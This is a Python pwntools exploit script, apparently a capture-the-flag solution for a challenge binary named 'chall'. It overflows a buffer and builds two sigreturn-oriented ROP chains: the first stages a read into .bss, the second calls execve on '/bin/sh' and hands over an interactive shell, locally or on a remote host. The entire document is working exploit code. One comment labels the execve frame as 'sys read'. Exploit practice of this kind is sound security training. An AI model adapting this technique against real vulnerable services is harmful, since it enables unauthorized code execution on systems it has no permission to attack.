#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
from pwnlib import gdb
from typing import no_type_check

from pwnlib.util.proc import wait_for_debugger

context.terminal = "tmux neww -a".split()

exe = context.binary = ELF(args.EXE or './chall') # type: ignore
libc = exe.libc
assert libc is not None

@no_type_check
def start(argv=[], *a, **kw) -> tube:
    if args.REMOTE:
        host, port_str = args.REMOTE.split(":")
        port = int(port_str)
        return remote(host, port)
    else:
        return process([exe.path] + argv, *a, **kw)

def bp():
    if isinstance(io, process) and args.GDB:
        wait_for_debugger(io.pid)
    __import__("pdb").set_trace()

io = start()
sla = io.sendlineafter
sa = io.sendafter
sl = io.sendline
ru = io.recvuntil
rl = io.recvline

pld = flat(length=0x280)

pld = SigreturnFrame()
pld.rdi = 0 # stdin fileno
pld.rsi = 0x404140 # bss start + slide
pld.rdx = 0x100 # len of rop
pld.rsp = pld.rsi
pld.rip = 0x0000000000401180 # syscal ret
pld.rax = 0x00 # sys read

rop = ROP(exe)
rop(rax=0x0f)
rop.raw(0x0000000000401180)
rop.raw(bytes(pld))

info(rop.dump())

pld = {0x88: bytes(rop)}

bp()
io.send(flat(pld))

sret = SigreturnFrame()
sret.rdi = 0x404028 # /bin/sh\x00
sret.rsi = 0
sret.rdx = 0
sret.rip = 0x0000000000401180 # syscal ret
sret.rax = 0x3B # sys read

rop = ROP(exe)
rop(rax=0x0f)
rop.raw(0x0000000000401180)
rop.raw(bytes(sret))
rop.raw(b"/bin/sh\x00")

pld = bytes(rop)
pld = flat(pld)

bp()
io.send(pld)

io.interactive()

